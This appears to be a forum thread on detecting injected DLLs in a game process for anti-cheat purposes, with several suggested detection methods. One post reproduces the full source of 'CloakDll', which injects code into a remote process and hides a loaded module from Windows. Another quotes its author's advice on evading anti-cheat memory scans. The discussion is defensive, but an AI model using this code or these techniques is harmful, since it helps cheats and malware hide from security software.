Find Injected DLLs In A Process?

This is a discussion on Find Injected DLLs In A Process? within the Windows Programming forums, part of the Platform Specific Boards category; Hi there, so here's the deal. First off let me start by telling you why: Basically it's a game security ...

  1. #1
    Registered User
    Join Date
    May 2008
    Location
    Australia
    Posts
    230

    Find Injected DLLs In A Process?

    Hi there, so here's the deal. First off let me start by telling you why:

    Basically it's a game security feature, to prevent cheating.

    Anywhere here's the deal, I've been given the task of making a function to find all injected and loaded DLL's in a specific process at run time. Here's an example: They launch the game, this program will dump the target game's memory into a buffer or a file or something, and try and find all the DLL's loaded in that game's memory/process/address space.

    I'm just wondering what an efficient way to do this would be. I'm uncertain how to find all DLL's loaded in a certain process's address space, or how I could really access this memory to begin with. I'm not asking to be spoon fed here (unless you really feel like it haha) I would just like to have some suggestions on how I can accomplish this task, and what I will need to know/be able to do.

    Thanks a lot!
    Thank you, anon. You sure know how to recognize different types of trees from quite a long way away.

  2. #2
    a_capitalist_story
    Join Date
    Dec 2007
    Posts
    2,655
    I highlighted this line in your post:
    find all DLL's loaded in a certain process's address space
    right clicked "Search Google for "find all DLL's..."", and the first link that came up was http://msdn.microsoft.com/en-us/magazine/bb985842.aspx, which may be a good place to start researching.

  3. #3
    Registered User
    Join Date
    May 2008
    Location
    Australia
    Posts
    230
    Yeah, I did do a bit of Googling, I just want some confirmation and advice from experienced folk I'll check out that link too, cheers.
    Thank you, anon. You sure know how to recognize different types of trees from quite a long way away.

  4. #4
    Ex scientia vera
    Join Date
    Sep 2007
    Posts
    478
    I have done much coding on dll injections, including writing code that can use 2 or 3 different methods of injecting the dll, and code that writes code in the remote process' address space and executes it so it calls a function in the dll and what not.

    I have, however, not tried writing stuff to prevent them, but I know what I would do:

    1) If you can be sure the dll isn't loaded at startup(Registry fix that makes the app load it by default as it does with kernel32.dll, except kernel32.dll and user32.dll area always loaded and aren't there), I would take a snapshot of dlls when the process is started, and then compare the snapshot and make sure that an extra dll hasn't been loaded.

    2) Find where function calls are imported from, functions that an malicious user would gain something from by hooking them. Put yourself in the attacker's shoes, and find out what you would want to hook if you were to write cracks / hacks for the game. Make sure that the import table contains the addresses of the functions in the proper dll, not some other dll.

    3) Check the registry for the default loaded dlls. Key is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs. Right now, I have a dll called APSHook.dll, which is for a fingerprint reader I have on this laptop, so it work with all applications(Browsers and anything else that commonly requires credentials).

    Basically, if you haven't already, know what code is required to accomplish that which you want to prevent. Think of what might be attractive targets of injecion, and so on, and write code that counters just that.
    "What's up, Doc?"
    "'Up' is a relative concept. It has no intrinsic value."

  5. #5
    Registered User
    Join Date
    May 2008
    Location
    Australia
    Posts
    230
    Quote Originally Posted by IceDane View Post
    I have done much coding on dll injections, including writing code that can use 2 or 3 different methods of injecting the dll, and code that writes code in the remote process' address space and executes it so it calls a function in the dll and what not.

    I have, however, not tried writing stuff to prevent them, but I know what I would do:

    1) If you can be sure the dll isn't loaded at startup(Registry fix that makes the app load it by default as it does with kernel32.dll, except kernel32.dll and user32.dll area always loaded and aren't there), I would take a snapshot of dlls when the process is started, and then compare the snapshot and make sure that an extra dll hasn't been loaded.

    2) Find where function calls are imported from, functions that an malicious user would gain something from by hooking them. Put yourself in the attacker's shoes, and find out what you would want to hook if you were to write cracks / hacks for the game. Make sure that the import table contains the addresses of the functions in the proper dll, not some other dll.

    3) Check the registry for the default loaded dlls. Key is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs. Right now, I have a dll called APSHook.dll, which is for a fingerprint reader I have on this laptop, so it work with all applications(Browsers and anything else that commonly requires credentials).

    Basically, if you haven't already, know what code is required to accomplish that which you want to prevent. Think of what might be attractive targets of injecion, and so on, and write code that counters just that.
    Thanks that was very informative. Well from my understanding the target would be to hook opengl.dll to modify the opacity of walls in game. So I guess I'll need to figure a way out to kind of 'monitor' that I guess lol. But yeah, it won't be started at boot. The way these cheats work is they inject when the game process is found. Thanks!
    Thank you, anon. You sure know how to recognize different types of trees from quite a long way away.

  6. #6
    Registered User
    Join Date
    Mar 2005
    Location
    Mountaintop, Pa
    Posts
    1,059
    It's theoretically possible to detect a dll injected into your process by using Notification Hooks. You could use __pfnDliNotifyHook2 to be notified when LoadLibrary is called in an attempt to load a DLL.

  7. #7
    Ex scientia vera
    Join Date
    Sep 2007
    Posts
    478
    Quote Originally Posted by BobS0327 View Post
    It's theoretically possible to detect a dll injected into your process by using Notification Hooks. You could use __pfnDliNotifyHook2 to be notified when LoadLibrary is called in an attempt to load a DLL.
    Ah, learn something new every day. That seems like a sturdy method to use.
    "What's up, Doc?"
    "'Up' is a relative concept. It has no intrinsic value."

  8. #8
    Registered User
    Join Date
    May 2008
    Location
    Australia
    Posts
    230
    Quote Originally Posted by BobS0327 View Post
    It's theoretically possible to detect a dll injected into your process by using Notification Hooks. You could use __pfnDliNotifyHook2 to be notified when LoadLibrary is called in an attempt to load a DLL.
    Sweet, that sounds like a good method. Is there any other methods they could use to access functions of the OpenGL DLL? I'll probably need to account for all of them haha.

    EDIT: I found a method used to 'hide' these DLL files, here's the code that they appear to be using:

    Source: http://www.battleforums.com/forums/d...akdll-cpp.html

    Code:
    //		    CloakDll     -	by Darawk	-	RealmGX.com
    //
    //	The purpose of CloakDll is to allow the user to hide any loaded
    //	module from the windows API.  It works by accessing the modules
    //	list stored in the PEB, and subsequently unlinking the module
    //	in question from all 4 of the doubly-linked lists that it's a
    //	node of.  It then zeroes out the structure and the path/file
    //	name of the module in memory.  So that even if the memory where
    //	the data about this module used to reside is scanned there will
    //	still be no conclusive evidence of it's existence.  At present
    //	there is only one weakness that I have found in this method.
    //	I'll describe how it may still be possible to discover at least
    //	that a module has been hidden, after a brief introduction to how
    //	the GetModuleHandle function works.
    //
    //	*The following information is not documented by Microsoft.  This
    //	 information consists of my findings while reverse-engineering 
    //	 these functions and some of them may be incorrect and/or
    //	 subject to change at any time(and is almost definitely different
    //	 in different versions of windows, and maybe even in different
    //	 service packs).  I've tried to make my code as version independant
    //	 as possible but certain parts of it may not work on older versions
    //	 of windows.  I've tested it on XP SP2 and there i'll guarantee
    //	 that it works, but on any other versions of windows, it's anyone's
    //	 guess.*
    //
    //	GetModuleHandle eventually calls GetModuleHandleExW, which in
    //	turn accesses the native API function GetDllHandle, which calls
    //	GetDllHandleEx.  And it's not until here, that we actually see
    //	anything even begin to look up information about loaded modules.
    //	Whenever GetModuleHandle is called, it saves the address of the
    //	last ModuleInfoNode structure that it found in a global variable
    //	inside of ntdll.  This global variable is the first thing
    //	checked on all subsequent calls to GetModuleHandle.  If the
    //	handle being requested is not the one that was requested the last
    //	time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
    //	LdrpCheckForLoadedDll begins by converting the first letter of the
    //	module name being requested to uppercase, decrementing it by 1 and
    //	AND'ing it with 0x1F.  This effectively creates a 0-based index
    //	beginning with the letter 'A'.  The purpose of this is so that
    //	the module can first be looked up in a hash table.  The hash table
    //	consists entirely of LIST_ENTRY structures.  One for each letter
    //	'A' through 'Z'.  The LIST_ENTRY structure points to the first
    //	and last modules loaded that begin with the letter assigned to
    //	that entry in the hash table.  The Flink member being the first
    //	loaded beginning with that letter, and the Blink member being the
    //	last.  The code scans through this list until it finds the module
    //	that it's looking for.  On the off-chance that it doesn't find it
    //	there, or if the boolean argument UseLdrpHashTable is set to false
    //	it will begin going through one of the other three lists.  If, at
    //	this point it still doesn't find it, it will admit defeat and return
    //	0 for the module handle.
    //
    //	Weakness:  The global variable inside ntdll that caches the pointer
    //	to the last module looked up could be used to at least detect the
    //	fact that a module has been hidden.  The LdrUnloadDll() function
    //	will set this value to 0 when it unloads a module, so if the cache
    //	variable points to an empty structure, the only logical conclusion
    //	would be a hidden module somewhere in the process.  This could be
    //	resolved by using the static address of this variable and simply
    //	zeroing it out.  However, this would make the code specific to only
    //	one version of windows.  You could also scan the address space of
    //	ntdll for any occurences of the base address(aka module handle)
    //	of the module you're hiding.  However, this would be slow and it
    //	would clutter up the CloakDll_stub function, because it'd have to
    //	all be done manually.  And i'd have to either use a static base
    //	address for ntdll...which would probably work on most versions
    //	of windows, however I really don't like using static addresses.  
    //	Or i'd have to manually locate it by writing my own unicode 
    //	string comparison code, to lookup ntdll in the list by it's name.
    //	Realistically though anyone trying to detect this way would run
    //	into the same problem.  That their code would not be version
    //	independant.  So, it's unlikely to see any largescale deployment
    //	of such a technique.  However, anyone who would like to solve
    //	this problem themselves is perfectly free, and encouraged to do
    //	so.
    
    #include <windows.h>
    #include <winnt.h>
    #include <tlhelp32.h>
    #include <shlwapi.h>
    
    
    #pragma comment(lib, "shlwapi.lib")
    
    #define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
    #define UNLINK(x) (x).Blink->Flink = (x).Flink; \
    	(x).Flink->Blink = (x).Blink;
    	
    #pragma pack(push, 1)
    
    typedef struct _UNICODE_STRING {
      USHORT  Length;
      USHORT  MaximumLength;
      PWSTR  Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    typedef struct _ModuleInfoNode
    {
    	LIST_ENTRY LoadOrder;
    	LIST_ENTRY InitOrder;
    	LIST_ENTRY MemoryOrder;
    	HMODULE baseAddress;		//	Base address AKA module handle
    	unsigned long entryPoint;
    	unsigned int size;			//	Size of the modules image
    	UNICODE_STRING fullPath;
    	UNICODE_STRING name;
    	unsigned long flags;
    	unsigned short LoadCount;
    	unsigned short TlsIndex;
    	LIST_ENTRY HashTable;	//	A linked list of any other modules that have the same first letter
    	unsigned long timestamp;
    } ModuleInfoNode, *pModuleInfoNode;
    
    typedef struct _ProcessModuleInfo
    {
    	unsigned int size;			//	Size of a ModuleInfo node?
    	unsigned int initialized;
    	HANDLE SsHandle;
    	LIST_ENTRY LoadOrder;
    	LIST_ENTRY InitOrder;
    	LIST_ENTRY MemoryOrder;
    } ProcessModuleInfo, *pProcessModuleInfo;
    
    
    #pragma pack(pop)
    
    bool CloakDll_stub(HMODULE);
    void CD_stubend();
    
    bool CloakDll(char *, char *);
    unsigned long GetProcessIdFromProcname(char *);
    HMODULE GetRemoteModuleHandle(unsigned long, char *);
    
    
    int main(int argc, char **argv)
    {
    	CloakDll("notepad.exe", "kernel32.dll");
    	return 0;
    }
    
    bool CloakDll(char *process, char *dllName)
    {
    	PathStripPath(dllName);
    
    	unsigned long procId;
    	procId = GetProcessIdFromProcname(process);
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
    
    	//	Calculate the length of the stub by subtracting it's address
    	//	from the beginning of the function directly ahead of it.
    	//
    	//	NOTE: If the compiler compiles the functions in a different
    	//	order than they appear in the code, this will not work as
    	//	it's supposed to.  However, most compilers won't do that.
    	unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;
    
    	//	Allocate space for the CloakDll_stub function
    	void *stubAddress = VirtualAllocEx(hProcess, 
    		NULL, 
    		stubLen, 
    		MEM_RESERVE | MEM_COMMIT,
    		PAGE_EXECUTE_READWRITE);
    
    	//	Write the stub's code to the page we allocated for it
    	WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);
    
    	HMODULE hMod = GetRemoteModuleHandle(procId, dllName);
    
    	//	Create a thread in the remote process to execute our code
    	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);
    
    	//	Clean up after ourselves, so as to leave as little impact as possible
    	//	on the remote process
    	VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
    	return true;
    }
    
    bool CloakDll_stub(HMODULE hMod)
    {
    	ProcessModuleInfo *pmInfo;
    	ModuleInfoNode *module;
    
    	_asm
    	{
    		mov eax, fs:[18h]		// TEB
    		mov eax, [eax + 30h]	// PEB
    		mov eax, [eax + 0Ch]	// PROCESS_MODULE_INFO
    		mov pmInfo, eax
    	}
    
        module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
    	
    	while(module->baseAddress && module->baseAddress != hMod)
    		module = (ModuleInfoNode *)(module->LoadOrder.Flink);
    
    	if(!module->baseAddress)
    		return false;
    
    	//	Remove the module entry from the list here
    	///////////////////////////////////////////////////	
    	//	Unlink from the load order list
    	UNLINK(module->LoadOrder);
    	//	Unlink from the init order list
    	UNLINK(module->InitOrder);
    	//	Unlink from the memory order list
    	UNLINK(module->MemoryOrder);
    	//	Unlink from the hash table
    	UNLINK(module->HashTable);
    
    	//	Erase all traces that it was ever there
    	///////////////////////////////////////////////////
    
    	//	This code will pretty much always be optimized into a rep stosb/stosd pair
    	//	so it shouldn't cause problems for relocation.
    	//	Zero out the module name
    	memset(module->fullPath.Buffer, 0, module->fullPath.Length);
    	//	Zero out the memory of this module's node
    	memset(module, 0, sizeof(ModuleInfoNode));	
    
    	return true;
    }
    
    __declspec(naked) void CD_stubend() { }
    
    unsigned long GetProcessIdFromProcname(char *procName)
    {
       PROCESSENTRY32 pe;
       HANDLE thSnapshot;
       BOOL retval, ProcFound = false;
    
       thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
       if(thSnapshot == INVALID_HANDLE_VALUE)
       {
          MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
          return false;
       }
    
       pe.dwSize = sizeof(PROCESSENTRY32);
    
        retval = Process32First(thSnapshot, &pe);
    
       while(retval)
       {
          if(StrStrI(pe.szExeFile, procName) )
          {
             ProcFound = true;
             break;
          }
    
          retval    = Process32Next(thSnapshot,&pe);
          pe.dwSize = sizeof(PROCESSENTRY32);
       }
    
       return pe.th32ProcessID;
    }
    
    HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
    {
    	MODULEENTRY32 modEntry;
    	HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
    
    	modEntry.dwSize = sizeof(MODULEENTRY32);
        Module32First(tlh, &modEntry);
    
    	do
    	{
    		if(!stricmp(modEntry.szModule, module))
    			return modEntry.hModule;
    		modEntry.dwSize = sizeof(MODULEENTRY32);
    	}
    	while(Module32Next(tlh, &modEntry));
    
    	return NULL;
    }
    Last edited by pobri19; 01-10-2009 at 09:05 PM.
    Thank you, anon. You sure know how to recognize different types of trees from quite a long way away.

  9. #9
    Registered User
    Join Date
    May 2008
    Location
    Australia
    Posts
    230
    I'm still after more ideas if anyone has any =).
    Thank you, anon. You sure know how to recognize different types of trees from quite a long way away.

  10. #10
    Captain Crash brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,270
    These sorts of countermeasures are easily defeated.

    Without trusted execution there is no way to prevent code injection. You're trying to solve an impossible problem.
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  11. #11
    Reverse Engineer maxorator's Avatar
    Join Date
    Aug 2005
    Location
    Estonia
    Posts
    2,318
    Those hidden modules are pretty tough to find since the OS doesn't know they even exist anymore (the OS thinks they're just some allocated memory). So if GetModuleHandle(NULL) or GetModuleFileName(NULL,xx,xx) is called from a hidden module, it should fail.

    You could of course step through process's heap entries and look for executable magic code in the beginning of them.
    Last edited by maxorator; 01-12-2009 at 12:58 PM.
    "The Internet treats censorship as damage and routes around it." - John Gilmore

  12. #12
    Registered User
    Join Date
    May 2008
    Location
    Australia
    Posts
    230
    Quote Originally Posted by brewbuck View Post
    These sorts of countermeasures are easily defeated.

    Without trusted execution there is no way to prevent code injection. You're trying to solve an impossible problem.
    I'm not necessarily trying to PREVENT code injection, I'm just trying to detect if it's happened. If I can figure out a way to detect that a DLL has been injected, I will send data to the server letting it know so that it can kick/ban the offending player. So, I don't need to prevent it, I just need to be able to detect it.
    Thank you, anon. You sure know how to recognize different types of trees from quite a long way away.

  13. #13
    tjb
    tjb is offline
    Registered User
    Join Date
    Jan 2009
    Posts
    31
    I wonder if it would be possible to sift through what areas of the virtual address space are in use via. VirtualQuery/VirtualQueryEx and compare regions marked as MEM_IMAGE with the memory ranges of all of the supposedly loaded modules in order to detect discrepancies in order to protect against CloakDll? Of course, such checks would have to be performed at regular intervals if possible or feasible.

  14. #14
    Captain Crash brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,270
    Quote Originally Posted by pobri19 View Post
    I'm not necessarily trying to PREVENT code injection, I'm just trying to detect if it's happened. If I can figure out a way to detect that a DLL has been injected, I will send data to the server letting it know so that it can kick/ban the offending player. So, I don't need to prevent it, I just need to be able to detect it.
    So what I will do is hide my evil code inside the program image without actually allocating any extra pages. The way I will do this is to find a piece of code in the game which only rarely executes -- perhaps some error handling code. I will replace this code with my evil code.

    And I'll do this statically, directly to the .exe file, so that no funny business happens at run time which a virus checker or other analyzer could pick up on.
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  15. #15
    Registered User
    Join Date
    Mar 2005
    Location
    Mountaintop, Pa
    Posts
    1,059
    Quote Originally Posted by tjb View Post
    I wonder if it would be possible to sift through what areas of the virtual address space are in use via. VirtualQuery/VirtualQueryEx and compare regions marked as MEM_IMAGE with the memory ranges of all of the supposedly loaded modules in order to detect discrepancies in order to protect against CloakDll? Of course, such checks would have to be performed at regular intervals if possible or feasible.
    The author of CloakDll has posted a document on a lot of hacking sites related to his CloakDll code. Below is an excerpt:

    After a module is injected into a running process, it can be detected in two ways. The first is to scan the module list or call GetModuleHandle on modules that you consider "hacks". This is mitigated by unlinking your
    module from the list using a tool like CloakDll(appendix). Or using something like ManualMap so the module is never linked in the first place. I think the second solution is a bit better, but they are more or less the same.

    The second way of detecting modules after they've been injected is much more clever. It is to iterate through every page on the system(pages are aligned on 0x1000 bytes, so this is actually feasible), and check it for
    offending code signatures. This problem can be countered by using a modified dll loader that randomizes the offset from the page boundaries where the real data actually starts. However, a better solution I think is
    to create two new blank pages enclosing your module. And then use VirtualProtect to set the PAGE_GUARD flag on these two pages. The PAGE_GUARD flag will generate a one-shot exception whenever the memory is accessed. Using an unhandled exception filter, vectored exception handling, or a KiUserExceptionDispatcher hook(I recommend the latter), you can catch these exceptions. This will let you know when you are being scanned and allow you to do whatever you like to prevent the detection code from spotting your module.
    My "gut" feeling is that CloakDll can possibly be defeated by going down to ring0 and hooking the LoadLibary API etc. This is just theory on my part.

Page 1 of 3 123 LastLast
Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Replies: 3
    Last Post: 10-15-2008, 10:24 AM
  2. Process manipulation questions
    By Sfel in forum Windows Programming
    Replies: 7
    Last Post: 05-17-2008, 01:39 PM
  3. Retrieving binary file name from a process
    By maxhavoc in forum Linux Programming
    Replies: 5
    Last Post: 04-12-2006, 03:50 PM
  4. Redirecting STDOUT to STDIN of a child process
    By 0xception in forum Linux Programming
    Replies: 4
    Last Post: 09-14-2005, 12:58 AM
  5. Replies: 12
    Last Post: 05-17-2003, 06:58 AM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21